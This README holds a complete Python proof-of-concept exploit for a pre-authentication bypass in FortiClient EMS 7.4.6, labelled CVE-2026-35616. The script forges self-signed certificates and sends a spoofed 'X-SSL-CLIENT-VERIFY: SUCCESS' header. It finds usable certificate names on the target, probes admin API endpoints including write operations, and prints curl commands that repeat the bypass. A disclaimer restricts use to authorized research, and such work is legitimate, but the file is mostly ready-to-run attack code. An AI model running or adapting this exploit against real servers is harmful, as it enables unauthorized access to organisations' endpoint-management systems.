README.md
Rendering markdown...
#!/usr/bin/env python3
# CVE-2026-35616 - FortiClient EMS 7.4.6 pre-auth bypass
# cert_chain_auth.py trusts X-SSL-CLIENT-VERIFY header directly, no crypto validation
# usage: python3 cve_2026_35616.py <ip> [port]
#
# DISCLAIMER
# ----------
# This script is provided for educational and authorized security research purposes only.
# Do not use this tool against any system you do not own or have explicit written
# permission to test. Unauthorized use against production systems or systems you do not
# have permission to test may be illegal under the Computer Fraud and Abuse Act (CFAA),
# the Computer Misuse Act, or equivalent laws in your jurisdiction.
#
# The author assumes no liability and is not responsible for any misuse or damage
# caused by this tool. By using this script, you agree that you are solely responsible
# for complying with all applicable local, state, national, and international laws.
#
# This was developed in an isolated lab environment for vulnerability research purposes.
import re
import sys
import subprocess
import urllib.parse
from datetime import datetime, timezone, timedelta
import requests
import urllib3
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "172.16.50.51"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 443
BASE = f"https://{TARGET}:{PORT}"
ENDPOINT = "/api/v1/system/capabilities"
CERT_CHAIN_ENDPOINTS = [
("GET", "/api/v1/system/capabilities", None),
("GET", "/api/v1/system/version", None),
("GET", "/api/v1/settings/server/public_address", None),
("POST", "/api/v1/fabric_device_auth/fortigate/init", "__sn_body__"),
("PATCH", "/api/v1/fortigate/info", {"fortigates": []}),
]
def forge_cert(cn: str) -> str:
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
cert = (
x509.CertificateBuilder()
.subject_name(name)
.issuer_name(name)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.now(timezone.utc) - timedelta(days=1))
.not_valid_after(datetime.now(timezone.utc) + timedelta(days=3650))
.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
.sign(key, hashes.SHA256())
)
return cert.public_bytes(serialization.Encoding.PEM).decode()
def fetch_tls_ca_cns() -> list:
cns = []
try:
out = subprocess.run(
["openssl", "s_client", "-connect", f"{TARGET}:{PORT}"],
input=b"", capture_output=True, timeout=10,
)
in_section = False
for line in (out.stdout + out.stderr).decode(errors="replace").splitlines():
if "Acceptable client certificate CA names" in line:
in_section = True
continue
if in_section:
line = line.strip()
if not line or line.startswith("Requested") or line.startswith("---"):
break
m = re.search(r"CN=([^,\n/]+)", line)
if m:
cn = m.group(1).strip()
if cn not in cns:
cns.append(cn)
print(f" [tls] {cn!r}")
except Exception as e:
print(f" [tls] failed: {e}")
return cns
def fetch_ztna_ca_cns() -> list:
cns = []
try:
r = requests.get(f"{BASE}/api/v1/ztna_certificates/download", verify=False, timeout=10)
if r.status_code != 200 or "BEGIN CERTIFICATE" not in r.text:
return cns
for block in r.text.split("-----END CERTIFICATE-----"):
block = block.strip()
if not block:
continue
try:
cert = x509.load_pem_x509_certificate((block + "\n-----END CERTIFICATE-----\n").encode())
attrs = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)
if attrs:
cn = attrs[0].value
if cn not in cns:
cns.append(cn)
print(f" [ztna] {cn!r}")
except Exception:
pass
except Exception as e:
print(f" [ztna] failed: {e}")
return cns
def send_bypass(method: str, path: str, cn: str, body=None):
pem = forge_cert(cn)
headers = {
"X-SSL-CLIENT-VERIFY": "SUCCESS",
"X-SSL-CLIENT-CERT": urllib.parse.quote(pem, safe=""),
}
url = f"{BASE}{path}"
if method in ("POST", "PATCH"):
headers["Content-Type"] = "application/json"
import json
r = requests.request(method, url, headers=headers, data=json.dumps(body or {}), verify=False, timeout=10)
else:
r = requests.get(url, headers=headers, verify=False, timeout=10)
return r.status_code, r.text, pem
print(f"[*] CVE-2026-35616 {BASE}\n")
def fetch_serial_cn() -> list:
cns = []
try:
r = requests.get(BASE, verify=False, timeout=10)
sn = r.headers.get("Serial Number", "").strip()
if sn and sn not in cns:
cns.append(sn)
print(f" [hdr] {sn!r}")
except Exception:
pass
return cns
print("[*] Discovering CA CNs ...")
candidates = fetch_tls_ca_cns()
for cn in fetch_ztna_ca_cns():
if cn not in candidates:
candidates.append(cn)
for cn in fetch_serial_cn():
if cn not in candidates:
candidates.append(cn)
if not candidates:
print(" [!] discovery failed — falling back to known Fortinet default CNs")
candidates = ["support", "fortinet-ca2"]
working_cn = None
working_pem = None
import json as _json
print(f"\n[*] Finding working CN from {len(candidates)} candidate(s) ...")
for cn in candidates:
try:
status, text, pem = send_bypass("GET", CERT_CHAIN_ENDPOINTS[0][1], cn)
try:
retval = _json.loads(text).get("result", {}).get("retval", -1)
except Exception:
retval = -1
if status == 200 and retval > 0:
working_cn = cn
working_pem = pem
print(f" [+] CN={cn!r} HTTP {status} retval={retval} ← bypass confirmed\n")
break
print(f" [-] CN={cn!r} HTTP {status} retval={retval}")
except Exception as e:
print(f" [!] CN={cn!r} error: {e}")
if not working_cn:
print("\n[-] Bypass failed — target patched, API unreachable, or headers stripped upstream")
sys.exit(1)
print(f"[*] Probing all cert_chain endpoints with CN={working_cn!r} ...\n")
cert_enc = urllib.parse.quote(working_pem, safe="")
for method, path, body in CERT_CHAIN_ENDPOINTS:
try:
actual_body = {"serial_number": working_cn, "vdom": "root"} if body == "__sn_body__" else body
status, text, _ = send_bypass(method, path, working_cn, actual_body)
print(f" {method:5s} {path}")
print(f" HTTP {status}: {text[:200]!r}")
print()
except Exception as e:
print(f" {method:5s} {path} error: {e}\n")
for method, path, _ in CERT_CHAIN_ENDPOINTS:
flag = f"-X {method} " if method not in ("GET",) else ""
print(f'curl -sk {flag}-H "X-SSL-CLIENT-VERIFY: SUCCESS" -H "X-SSL-CLIENT-CERT: {cert_enc}" "{BASE}{path}"')